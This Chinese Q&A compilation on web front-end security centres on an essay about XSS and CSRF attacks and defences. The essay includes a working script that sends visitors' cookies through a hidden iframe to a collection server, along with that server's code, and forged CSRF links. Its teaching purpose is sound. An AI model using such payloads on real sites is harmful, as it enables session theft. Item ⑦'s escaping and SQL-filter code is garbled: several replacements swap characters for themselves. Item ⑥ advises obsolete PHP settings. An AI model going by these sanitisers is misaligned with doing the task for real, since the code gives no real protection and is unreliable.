① 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代，大家一般用拼接字元串的方式來構造動態 sql 語句創建應用，於是 SQL 注入成了很流行的攻擊方式。在這個年代， 參數化查詢 已經成了普遍用法，我們已經離 SQL 注入很遠了。但是，歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了，所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾，我一定會在模板輸出時候全部轉義。所以個人感覺，要避免 XSS 也是很容易的，重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ，於是找了些資料了解了一下，並與 XSS 放在一起做個比較。
XSS：腳本中的不速之客
XSS 全稱「跨站腳本」，是注入攻擊的一種。其特點是不對伺服器端造成任何傷害，而是通過一些正常的站內交互途徑，例如發布評論，提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本，作為內容發布到了頁面上，其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中，可能只是簡單的惡作劇——一個關不掉的窗口：
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程，先建立一個用來收集信息的伺服器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求，是他們所看不到的。而這個請求，會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制，只能訪問當前域名下的 URL，所謂不能「跨域」問題。這種做法的初衷也是防範 XSS，多多少少都起了一些作用，但不是總是有用，正如上面的注入代碼，用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下，我還能用 iframe 發起 POST 請求。當然，現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截，例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功，何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將，我們也不應該把事關安全性的責任推脫給瀏覽器，所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的，這點對於 Web 開發者應該是常識。
正如上文所說，如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本，那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點，Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們，我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數，Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎，那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是，在一些場合我們要允許用戶輸入 HTML，又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙，但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的，任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況，我個人更傾向於使用簡單的方法處理，簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構，但我們並不將這些數據直接存入資料庫，而是使用 HTML 解析庫遍歷節點，獲取其中數據（之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性）。然後根據用戶原有的標簽屬性，重新構建 HTML 元素樹。構建的過程中，所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別（前面說了 HTML 不同於 XML，要求有很強的容錯性），那麼它不會成為漏網之魚，因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹，我們可以拍胸脯保證——所有的標簽、屬性都來自白名單，一定不會遺漏。
現在看來，大多數 Web 開發者都了解 XSS 並知道如何防範，往往大型的 XSS 攻擊（包括前段時間新浪微博的 XSS 注入）都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中，開啟（或不要關閉）類似 Django Template、Jinja2 中「默認轉義」（Auto Escape）的功能。在不需要轉義的場合，我們可以用類似 的方式取消轉義。這種白名單式的做法，有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域，是富 AJAX 類應用（例如豆瓣網的阿爾法城）。這類應用的風險並不集中在 HTTP 的靜態響應內容，所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域，開發者不得不自己打開危險的大門。這種情況下，站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包（似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試），但我都沒試用過，故不予評價。不管怎麼說，我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF：冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別，後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條，但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」，而 XSS 的全稱是「跨站腳本」。看起來有點相似，它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶，但前面說了，它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義，是偽造請求，冒充用戶在站內的正常操作。我們知道，絕大多數網站是通過 cookie 等方式辨識用戶身份（包括使用伺服器端 Session 的網站，因為 Session ID 也是大多保存在 cookie 裡面的），再予以授權的。所以要偽造用戶的正常操作，最好的方法是通過 XSS 或鏈接欺騙等途徑，讓用戶在本機（即擁有身份 cookie 的瀏覽器端）發起用戶所不知道的請求。
嚴格意義上來說，CSRF 不能分類為注入攻擊，因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌，但對於設計不佳的網站，一條正常的鏈接都能造成 CSRF。
例如，一論壇網站的發貼是通過 GET 請求訪問，點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問：
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼，我只需要在論壇中發一帖，包含一鏈接：
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接，那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇，但是既然發貼的請求可以偽造，那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題，我們是否可以效仿上文應對 XSS 的做法呢？過濾用戶輸入， 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用，但阻擋不了 CSRF，因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去，為了偽裝可能還使用 bit.ly 壓縮一下網址，這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ，我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入，因為它並不屬於注入攻擊，而是請求偽造。被偽造的請求可以是任何來源，而非一定是站內。所以我們唯有一條路可行，就是過濾請求的 處理者。
比較頭痛的是，因為請求可以從任何一方發起，而發起請求的方式多種多樣，可以通過 iframe、ajax（這個不能跨域，得先 XSS）、Flash 內部發起請求（總是個大隱患）。由於幾乎沒有徹底杜絕 CSRF 的方式，我們一般的做法，是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻，就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作，應該只接受 POST 請求，而 GET 請求應該只瀏覽而不改變伺服器端資源。當然，最理想的做法是使用 REST 風格 的 API 設計，GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法，我們可以使用 ajax 提交請求（例如通過 jquery-form 插件，我最喜歡的做法），也可以使用隱藏域指定請求方法，然後用 POST 模擬 PUT 和 DELETE （Ruby on Rails 的做法）。這么一來，不同的資源操作區分的非常清楚，我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了，但他們仍可以發布表單，或者在其他站點上使用我們肉眼不可見的表單，在後台用 js 操作，偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF，這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生，「請求令牌」和「同步令牌」原理是一樣的，只不過目的不同，後者是為了解決 POST 請求重復提交問題，前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單，首先伺服器端要以某種策略生成隨機字元串，作為令牌（token）， 保存在 Session 里。然後在發出請求的頁面，把該令牌以隱藏域一類的形式，與其他信息一並發出。在接收請求的頁面，把接收到的信息中的令牌與 Session 中的令牌比較，只有一致的時候才處理請求，否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單，但並非不可破解，使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意：
雖然請求令牌原理和驗證碼有相似之處，但不應該像驗證碼一樣，全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的，破解方式是解析來源頁面的文本，獲取令牌內容。如果全局使用一個 Session Key，那麼危險系數會上升。原則上來說，每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候，可以稍加封裝，編寫一個令牌工具包，將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合，因為很有請求是 JavaScript 發起的，使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何，請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門，卻又把鑰匙放在門口，讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的，所以非常重要的場合，應該考慮使用驗證碼（令牌的一種升級，目前來看破解難度極大），或者要求用戶再次輸入密碼（亞馬遜、淘寶的做法）。但這兩種方式用戶體驗都不好，所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼，伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題，驗證碼用完並未銷毀，故只要獲取一次驗證碼圖片，其中的驗證碼可以在多次請求中使用（只要不再次刷新驗證碼圖片），一直用到 Session 超時。這也是為何選課系統加了驗證碼，外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF，其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面：referer 是在 HTTP Request Head 裡面的，也就是由請求的發送者決定的。如果我喜歡，可以給 referer 任何值。當然這個做法並不是毫無作用，起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接：這個是最無效的做法，因為首先攻擊者不一定要從站內發起請求（上面提到過了），而且就算從站內發起請求，途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇，還不需要用戶去點擊，只要用戶的瀏覽器會自動載入圖片，就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶：這個方法看上去能幹擾站外通過 iframe 發起的 CSRF，但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞，或者乾脆脫離 iframe，使用 Flash 來達到目的。
總體來說，目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章，一般都會含有「無恥」二字來形容（另一位有該名號的貌似是 DDOS 攻擊）。作為開發者，我們能做的就是盡量提高破解難度。當破解難度達到一定程度，網站就逼近於絕對安全的位置了（雖然不能到達）。上述請求令牌方法，就我 認為是最有可擴展性的，因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說，偽造的請求和正常的請求本質上是一致的。而請求令牌的方法，則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作，例如讓頁面中 token 的 key 動態化，進一步提高攻擊者的門檻。本文只是我個人認識的一個總結，便不討論過深了。
② web攻防和前端哪個好
前端好！
因為做前端可以了解很多的開發知識
做攻防，就那麼寫規則搞定就可以了
請採納！
③ web前端開發面臨的挑戰主要是有哪些
平時工作，多數是開發Web項目，由於一般是開發內部使用的業務系統，所以對於安全性一般不是看的很重，基本上由於是內網系統，一般也很少會受到攻擊，但有時候一些系統平台，需要外網也要使用，這種情況下，各方面的安全性就要求比較高了。
1、測試的步驟及內容
這些安全性測試，據了解一般是先收集數據，然後進行相關的滲透測試工作，獲取到網站或者系統的一些敏感數據，從而可能達到控制或者破壞系統的目的。
2、SQL注入漏洞的出現和修復
SQL注入定義：
SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展，使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊，相當大一部分程序員在編寫代碼的時候，沒有對用戶輸入數據的合法性進行判斷，使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼，根據程序返回的結果，獲得某些他想得知的數據，這就是所謂的SQL Injection，即SQL注入。
SQL注入有時候，在地址參數輸入，或者控制項輸入都有可能進行。如在鏈接後加入』號，頁面報錯，並暴露出網站的物理路徑在很多時候，很常見，當然如果關閉了Web.Config的CustomErrors的時候，可能就不會看到。
3、跨站腳本攻擊漏洞出現和修復
跨站腳本攻擊，又稱XSS代碼攻擊，也是一種常見的腳本注入攻擊。例如在界面上，很多輸入框是可以隨意輸入內容的，特別是一些文本編輯框裡面，可以輸入例如這樣的內容，如果在一些首頁出現很多這樣內容，而又不經過處理，那麼頁面就不斷的彈框，更有甚者，在裡面執行一個無限循環的腳本函數，直到頁面耗盡資源為止，類似這樣的攻擊都是很常見的，所以我們如果是在外網或者很有危險的網路上發布程序，一般都需要對這些問題進行修復。
④ 《Web前端黑客技術揭秘》pdf下載在線閱讀全文，求百度網盤雲資源
《Web前端黑客技術揭秘》（鍾晨鳴）電子書網盤下載免費在線閱讀
鏈接：
書名：Web前端黑客技術揭秘
豆瓣評分：7.6
作者:鍾晨鳴/徐少培
出版社:電子工業出版社
出版年:2013-1
頁數:361
內容簡介：
Web前端的黑客攻防技術是一門非常新穎且有趣的黑客技術，主要包含Web前端安全的跨站腳本（XSS）、跨站請求偽造（CSRF）、界面操作劫持這三大類，涉及的知識點涵蓋信任與信任關系、Cookie安全、Flash安全、DOM渲染、字元集、跨域、原生態攻擊、高級釣魚、蠕蟲思想等，這些都是研究前端安全的人必備的知識點。本書作者深入剖析了許多經典的攻防技巧，並給出了許多獨到的安全見解。
本書適合前端工程師閱讀，同時也適合對Web前端各類安全問題或黑客攻防過程充滿好奇的讀者閱讀，書中的內容可以讓讀者重新認識到Web的危險，並知道該如何去保護自己以免受黑客的攻擊。
作者簡介：
鍾晨鳴，畢業於北京化工大學，網名：餘弦。國內著名Web安全團隊xeye成員，除了愛好Web Hacking外，還對宇宙學、人類學等保持著濃厚興趣。2008年加入北京知道創宇信息技術有限公司，現任研究部總監，團隊致力於Web安全與海量數據研究，並進行相關超酷平台的實現。如果大家想和我交流，可以私信我微博：weibo.com/evilcos，同時本書的最新動態也會發布在我的微博上。
徐少培，畢業於河北工業大學。網名：xisigr。國內著名Web安全團隊xeye成員。2008年加入北京天融信公司，現任北京天融信資深安全專家，重點負責安全研究工作，主要研究領域包括：WEB安全、HTML5安全、瀏覽器安全、協議分析等。
⑤ 網路安全攻擊手段
網路安全攻擊形式
一般入侵 網路攻擊 掃描技術 拒絕服務攻擊技術 緩沖區溢出 後門技術 Sniffer技術 病毒木馬
網路安全技術，從代理伺服器、網路地址轉換、包過濾到數據加密 防攻擊，防病毒木馬等等。
⑥ web攻擊有哪些怎麼防護
1、DoS和DDoS攻擊（DoS(Denial of Service)，即拒絕服務，造成遠程伺服器拒絕服務的行為被稱為DoS攻擊。其目的是使計算機或網路無法提供正常的服務。最常見的DoS攻擊有計算機網路帶寬攻擊和連通性攻擊）
防範：(1) 反欺騙：對數據包的地址及埠的正確性進行驗證，同時進行反向探測。(2) 協議棧行為模式分析：每個數據包類型需要符合RFC規定，這就好像每個數據包都要有完整規范的著裝，只要不符合規范，就自動識別並將其過濾掉。(3) 特定應用防護：非法流量總是有一些特定特徵的，這就好比即便你混進了顧客群中，但你的行為還是會暴露出你的動機，比如老重復問店員同一個問題，老做同樣的動作，這樣你仍然還是會被發現的。(4) 帶寬控制：真實的訪問數據過大時，可以限制其最大輸出的流量，以減少下游網路系統的壓力。
2、CSRF(Cross Site Request Forgery)，即跨站請求偽造，是一種常見的Web攻擊，但很多開發者對它很陌生。CSRF也是Web安全中最容易被忽略的一種攻擊。
防範：(1) 驗證碼。應用程序和用戶進行交互過程中，特別是賬戶交易這種核心步驟，強制用戶輸入驗證碼，才能完成最終請求。在通常情況下，驗證碼夠很好地遏制CSRF攻擊。但增加驗證碼降低了用戶的體驗，網站不能給所有的操作都加上驗證碼。所以只能將驗證碼作為一種輔助手段，在關鍵業務點設置驗證碼。(2) Referer Check。HTTP Referer是header的一部分，當瀏覽器向web伺服器發送請求時，一般會帶上Referer信息告訴伺服器是從哪個頁面鏈接過來的，伺服器籍此可以獲得一些信息用於處理。可以通過檢查請求的來源來防禦CSRF攻擊。正常請求的referer具有一定規律，如在提交表單的referer必定是在該頁面發起的請求。所以通過檢查http包頭referer的值是不是這個頁面，來判斷是不是CSRF攻擊。但在某些情況下如從https跳轉到http，瀏覽器處於安全考慮，不會發送referer，伺服器就無法進行check了。若與該網站同域的其他網站有XSS漏洞，那麼攻擊者可以在其他網站注入惡意腳本，受害者進入了此類同域的網址，也會遭受攻擊。出於以上原因，無法完全依賴Referer Check作為防禦CSRF的主要手段。但是可以通過Referer Check來監控CSRF攻擊的發生。(3) Anti CSRF Token。目前比較完善的解決方案是加入Anti-CSRF-Token，即發送請求時在HTTP 請求中以參數的形式加入一個隨機產生的token，並在伺服器建立一個攔截器來驗證這個token。伺服器讀取瀏覽器當前域cookie中這個token值，會進行校驗該請求當中的token和cookie當中的token值是否都存在且相等，才認為這是合法的請求。否則認為這次請求是違法的，拒絕該次服務。這種方法相比Referer檢查要安全很多，token可以在用戶登陸後產生並放於session或cookie中，然後在每次請求時伺服器把token從session或cookie中拿出，與本次請求中的token 進行比對。由於token的存在，攻擊者無法再構造出一個完整的URL實施CSRF攻擊。但在處理多個頁面共存問題時，當某個頁面消耗掉token後，其他頁面的表單保存的還是被消耗掉的那個token，其他頁面的表單提交時會出現token錯誤。
3、XSS(Cross Site Scripting)，跨站腳本攻擊。為和層疊樣式表(Cascading Style Sheets，CSS)區分開，跨站腳本在安全領域叫做「XSS」。
防範：(1) 輸入過濾。永遠不要相信用戶的輸入，對用戶輸入的數據做一定的過濾。如輸入的數據是否符合預期的格式，比如日期格式，Email格式，電話號碼格式等等。這樣可以初步對XSS漏洞進行防禦。上面的措施只在web端做了限制，攻擊者通抓包工具如Fiddler還是可以繞過前端輸入的限制，修改請求注入攻擊腳本。因此，後台伺服器需要在接收到用戶輸入的數據後，對特殊危險字元進行過濾或者轉義處理，然後再存儲到資料庫中。(2) 輸出編碼。伺服器端輸出到瀏覽器的數據，可以使用系統的安全函數來進行編碼或轉義來防範XSS攻擊。在PHP中，有htmlentities()和htmlspecialchars()兩個函數可以滿足安全要求。相應的JavaScript的編碼方式可以使用JavascriptEncode。(3) 安全編碼。開發需盡量避免Web客戶端文檔重寫、重定向或其他敏感操作，同時要避免使用客戶端數據，這些操作需盡量在伺服器端使用動態頁面來實現。(4) HttpOnly Cookie。預防XSS攻擊竊取用戶cookie最有效的防禦手段。Web應用程序在設置cookie時，將其屬性設為HttpOnly，就可以避免該網頁的cookie被客戶端惡意JavaScript竊取，保護用戶cookie信息。(5)WAF(Web Application Firewall)，Web應用防火牆，主要的功能是防範諸如網頁木馬、XSS以及CSRF等常見的Web漏洞攻擊。由第三方公司開發，在企業環境中深受歡迎。
4、SQL注入(SQL Injection)，應用程序在向後台資料庫傳遞SQL(Structured Query Language，結構化查詢語言)時，攻擊者將SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元串，最終達到欺騙伺服器執行惡意的SQL命令。
防範：(1) 防止系統敏感信息泄露。設置php.ini選項display_errors=off，防止php腳本出錯之後，在web頁面輸出敏感信息錯誤，讓攻擊者有機可乘。(2) 數據轉義。設置php.ini選項magic_quotes_gpc=on，它會將提交的變數中所有的』(單引號)，」(雙引號)，\(反斜杠)，空白字元等都在前面自動加上\。或者採用mysql_real_escape()函數或addslashes()函數進行輸入參數的轉義。(3) 增加黑名單或者白名單驗證。白名單驗證一般指，檢查用戶輸入是否是符合預期的類型、長度、數值范圍或者其他格式標准。黑名單驗證是指，若在用戶輸入中，包含明顯的惡意內容則拒絕該條用戶請求。在使用白名單驗證時，一般會配合黑名單驗證。
5、上傳漏洞在DVBBS6.0時代被黑客們利用的最為猖獗，利用上傳漏洞可以直接得到WEBSHELL，危害等級超級高，現在的入侵中上傳漏洞也是常見的漏洞。該漏洞允許用戶上傳任意文件可能會讓攻擊者注入危險內容或惡意代碼，並在伺服器上運行。
防範： (1)檢查伺服器是否判斷了上傳文件類型及後綴。 (2) 定義上傳文件類型白名單，即只允許白名單裡面類型的文件上傳。 (3) 文件上傳目錄禁止執行腳本解析，避免攻擊者進行二次攻擊。 Info漏洞 Info漏洞就是CGI把輸入的參數原樣輸出到頁面，攻擊者通過修改輸入參數而達到欺騙用戶的目的。
⑦ web前端怎麼防止代碼注入攻擊
三種方式：
一，HTML防注入。
一般的html注入都是在字元串中加入了html標簽，用下JAVA代碼可以去掉這部分代碼。
代碼如下，自己封裝成方法即可。
String msge = "asdasdasdasd <div id="f">asdfsdf";
System.out.println(msge);
msge = msge.replace("&", "&");
msge = msge.replace("<", "<");
msge = msge.replace(" ", " ");
msge = msge.replace(">", ">");
msge = msge.replace(""", """);
msge = msge.replace("'", "&qpos;");
System.out.println(msge);
二、防SQL注入
最簡單最容易的是限制用戶輸入。
簡單點的就是不允許用戶輸入單引號 和 --，因為單引號號--在SQL中都是影響執行的。
但SQL注入是多方面的，防止的方法也有很多種。
1、地址欄禁止特殊字元防SQL注入
把特殊字元（如and、or、'、"）都禁止提交就可以防止注入了。
2、php過濾html字元串，防止SQL注入
批量過濾post,get敏感數據
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
數據過濾函數
function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
3、替換HTML尾標簽
function lib_replace_end_tag($str)
{
if (empty($str)) return false;
$str = htmlspecialchars($str);
$str = str_replace( '/', "", $str);
$str = str_replace("\", "", $str);
$str = str_replace(">", "", $str);
$str = str_replace("<", "", $str);
$str = str_replace("<SCRIPT>", "", $str);
$str = str_replace("</SCRIPT>", "", $str);
$str = str_replace("<script>", "", $str);
$str = str_replace("</script>", "", $str);
$str=str_replace("select","select",$str);
$str=str_replace("join","join",$str);
$str=str_replace("union","union",$str);
$str=str_replace("where","where",$str);
$str=str_replace("insert","insert",$str);
$str=str_replace("delete","delete",$str);
$str=str_replace("update","update",$str);
$str=str_replace("like","like",$str);
$str=str_replace("drop","drop",$str);
$str=str_replace("create","create",$str);
$str=str_replace("modify","modify",$str);
$str=str_replace("rename","rename",$str);
$str=str_replace("alter","alter",$str);
$str=str_replace("cas","cast",$str);
$str=str_replace("&","&",$str);
$str=str_replace(">",">",$str);
$str=str_replace("<","<",$str);
$str=str_replace(" ",chr(32),$str);
$str=str_replace(" ",chr(9),$str);
$str=str_replace(" ",chr(9),$str);
$str=str_replace("&",chr(34),$str);
$str=str_replace("'",chr(39),$str);
$str=str_replace("<br />",chr(13),$str);
$str=str_replace("''","'",$str);
$str=str_replace("css","'",$str);
$str=str_replace("CSS","'",$str);
return $str;
}
三、專業的事情交給專業的工具去做。
安裝安全軟體。例如，在伺服器中安裝「伺服器安全狗」，可以設置防注入，防攻擊的設置，只要設置好安全規則，就可以屏蔽大多數攻擊入侵。
⑧ XSS攻擊的定義，類型以及防禦方法
XXS攻擊全稱跨站腳本攻擊，是一種在Web應用中的計算機安全漏洞，它允許惡意Web用戶將代碼植入到提供給其他使用的頁面中。
XSS攻擊有哪幾種類型?下面就由銳速雲的小編為大家介紹一下
經常見到XSS攻擊有三種：反射XSS攻擊、DOM-based型XSS攻擊以及儲存型XSS攻擊。
[if !supportLists]1、[endif]反射型XSS攻擊
反射性XSS一般是攻擊者通過特定手法(如電子郵件)，誘使用戶去訪問一個包含惡意代碼的URL，當受害者點擊這些專門設計鏈接的時候，惡意代碼會直接在受害主機上的瀏覽器上執行，反射型XSS通常出現在網站搜索欄，用戶登入口等地方，常用來竊取客戶端或進行釣魚欺騙。
[if !supportLists]2、[endif]存儲型XSS攻擊
存儲型XSS攻擊也叫持久型XSS，主要將XSS代碼提交儲存在伺服器端(資料庫，內存，文件系統等)下次請求目標頁面時不用在提交XSS代碼。當目標用戶訪問該頁面獲取數據時，XSS代碼會從伺服器解析之後載入出來，返回到瀏覽器做正常的HTML和JS解析執行，XSS攻擊就發生了。儲存型XSS一般出現在網站留言，評論，博客日誌等交互處，惡意腳本儲存到客戶端或者服務端的資料庫中。
[if !supportLists]3、[endif]DOM-based型XSS攻擊
DOM-based型XSS攻擊它是基於DOM的XSS攻擊是指通過惡意腳本修改頁面的DOM結構，是純粹發生在客戶端的攻擊。DOM型XSS攻擊中，取出和執行惡意代碼由瀏覽器端完成，屬於前端JavaScript自身的安全漏洞。
如何防禦XSS攻擊?
[if !supportLists]1、[endif]對輸入內容的特定字元進行編碼，列如表示html標記<>等符號。
[if !supportLists]2、[endif]對重要的cookie設置httpOnly，防止客戶端通過document。cookie讀取cookie，此HTTP開頭由服務端設置。
[if !supportLists]3、[endif]將不可信的輸出URT參數之前，進行URLEncode操作，而對於從URL參數中獲取值一定要進行格式檢查
[if !supportLists]4、[endif]不要使用Eval來解析並運行不確定的數據或代碼，對於JSON解析請使用JSON。Parse()方法
[if !supportLists]5、[endif]後端介面也應該要做到關鍵字元過濾的問題。
⑨ web前端和web安全有聯系嗎
1、web安全主要是針對網站、資料庫這一類的互聯網網站攻擊行為的防禦。
2、前端、後端、資料庫、網路等,與Web安全都有關系